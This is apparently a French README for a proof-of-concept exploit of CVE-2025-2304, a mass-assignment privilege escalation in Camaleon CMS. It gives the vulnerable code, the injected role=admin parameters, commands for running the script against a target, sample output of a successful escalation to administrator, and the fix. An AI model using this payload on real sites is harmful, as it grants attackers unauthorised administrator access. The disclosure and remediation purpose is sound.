
Preuve de concept pour CVE-2025-2304 — escalade de privilèges critique (CVSS 9.4) par assignation en masse dans Camaleon CMS.
A Proof of Concept (PoC) exploit for CVE-2025-2304, a critical mass assignment vulnerability in Camaleon CMS that allows privilege escalation from low-privileged users to administrators.
██████╗ ██████╗ ██╗ ██╗███╗ ██╗ ██████╗ ███╗ ███╗██╗
██╔══██╗╚════██╗██║ ██║████╗ ██║██╔═████╗████╗ ████║██║
██║ ██║ █████╔╝██║ ██║██╔██╗ ██║██║██╔██║██╔████╔██║██║
██║ ██║ ╚═══██╗╚██╗ ██╔╝██║╚██╗██║████╔╝██║██║╚██╔╝██║██║
██████╔╝██████╔╝ ╚████╔╝ ██║ ╚████║╚██████╔╝██║ ╚═╝ ██║██║
╚═════╝ ╚═════╝ ╚═══╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝
CVE-2025-2304 est une vulnérabilité critique d'assignation de masse dans Camaleon CMS, présente dans la méthode updated_ajax du UsersController. Cette vulnérabilité provient de l'utilisation de la méthode dangereuse permit! dans Rails, qui permet à tous les paramètres de passer sans aucun filtrage.
Ce PoC démontre comment un utilisateur authentifié avec des privilèges faibles peut devenir administrateur en injectant des paramètres non autorisés lors des opérations de changement de mot de passe.
Score CVSS : 9.4 (Critique)
Le code vulnérable utilise params.require(:user).permit! qui accepte tous les paramètres fournis par l'utilisateur sans validation :
def updated_ajax
user_params = params.require(:user).permit! # DANGEREUX !
current_user.update(user_params)
end
Un attaquant peut injecter des paramètres supplémentaires comme user[role]=admin à côté des champs légitimes de changement de mot de passe, ce qui amène l'application à mettre à jour le rôle de l'utilisateur en administrateur.
Vecteur d'attaque :
/admin/users/{id}/updated_ajaxuser[role]=admin--no-password-field pour le test le plus sûrgit clone https://github.com/d3vhthnnni/cve-2025-2304-poc.git
cd cve-2025-2304-poc
pip install -r requirements.txt
Ou installer manuellement :
pip install requests beautifulsoup4
python3 cve-2025-2304-poc.py <target_url> -u <username> -p <password> [options]
arguments positionnels :
target URL cible (ex. http://target.com)
arguments requis :
-u, --username Nom d'utilisateur existant pour l'authentification
-p, --password Mot de passe utilisateur
arguments optionnels :
-h, --help Afficher l'aide et quitter
-v, --verbose Sortie verbeuse (afficher toutes les requêtes)
--proxy PROXY Proxy HTTP pour inspection du trafic (ex. http://127.0.0.1:8080)
--no-password-field Tester l'exploitation sans champs de mot de passe (le plus sûr)
--skip-admin-test Ignorer le test destructeur de réinitialisation du mot de passe admin
Testez avec des identifiants utilisateur existants tout en préservant le mot de passe :
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123
Testez sans inclure les champs de mot de passe dans la charge utile :
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --no-password-field
Acheminez le trafic via Burp Suite pour une inspection manuelle :
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --proxy http://127.0.0.1:8080
Activez la sortie détaillée montrant toutes les requêtes et réponses :
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 -v
Testez uniquement l'élévation de privilèges, ignorez la réinitialisation du mot de passe admin :
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --skip-admin-test
██████╗ ██████╗ ██╗ ██╗███╗ ██╗ ██████╗ ███╗ ███╗██╗
██╔══██╗╚════██╗██║ ██║████╗ ██║██╔═████╗████╗ ████║██║
██║ ██║ █████╔╝██║ ██║██╔██╗ ██║██║██╔██║██╔████╔██║██║
██║ ██║ ╚═══██╗╚██╗ ██╔╝██║╚██╗██║████╔╝██║██║╚██╔╝██║██║
██████╔╝██████╔╝ ╚████╔╝ ██║ ╚████║╚██████╔╝██║ ╚═╝ ██║██║
╚═════╝ ╚═════╝ ╚═══╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝
============================================================
CVE-2025-2304 - Camaleon CMS Privilege Escalation PoC
Mass Assignment Vulnerability Tester
Author: d3vn0mi | GitHub: github.com/d3vhthnnni
============================================================
[*] Cible : http://target.com
[*] Nom d'utilisateur : testuser
[*] Mot de passe : **********
[*] Connexion en tant que testuser...
[+] Connexion réussie
[*] Vérification de la version CMS...
[*] Version détectée : 2.9.0
[+] Version VULNÉRABLE (< 2.9.1)
============================================================
[*] Test de la vulnérabilité d'assignation de masse CVE-2025-2304
============================================================
[*] Utilisateur cible : testuser (ID : 7)
[*] Rôle actuel : Client (client)
[*] Le mot de passe restera inchangé
[1/7] Test : point de terminaison AJAX - user[role]
✗ Échec
[2/7] Test : point de terminaison AJAX - password[role]
============================================================
[+] EXPLOITATION RÉUSSIE !
============================================================
[+] Élévation de privilèges : Client → Administrateur
[+] Point de terminaison vulnérable : /admin/users/7/updated_ajax
[+] Charge utile fonctionnelle : {'password[role]': 'admin'}
[+] Mot de passe inchangé : l'utilisateur peut toujours se connecter normalement
[+] CVE-2025-2304 CONFIRMÉE !
[✓] VULNÉRABILITÉ CVE-2025-2304 CONFIRMÉE
| Version | Statut |
|---|---|
| < 2.9.1 | ❌ Vulnérable |
| ≥ 2.9.1 | ✅ Corrigé |
Particulièrement vulnérables :
Mettre à jour vers la version 2.9.1 ou ultérieure
gem update camaleon_cms
Auditer les comptes utilisateurs
/users/*/updated_ajaxForcer les réinitialisations de mot de passe (si compromis)
Modèle de code sécurisé :
Remplacez le dangereux permit! par une liste blanche explicite :
# Avant (VULNÉRABLE)
def updated_ajax
user_params = params.require(:user).permit!
current_user.update(user_params)
end
# Après (SÉCURISÉ)
def updated_ajax
user_params = params.require(:user).permit(:password, :password_confirmation)
current_user.update(user_params)
end
Mesures de sécurité supplémentaires :
Cet outil est fourni à des fins éducatives et de tests de sécurité autorisés uniquement.
Avis légal :
Utilisation éthique :
d3vn0mi
Ce projet est sous licence MIT - voir le fichier LICENSE pour plus de détails.
Les contributions, les problèmes et les demandes de fonctionnalités sont les bienvenus !
N'hésitez pas à consulter la page des problèmes.
Donnez une ⭐ si ce projet vous a aidé !
Remarque : Ce dépôt est destiné à la recherche en sécurité et à des fins éducatives. Pratiquez toujours la divulgation responsable et obtenez une autorisation appropriée avant de tester.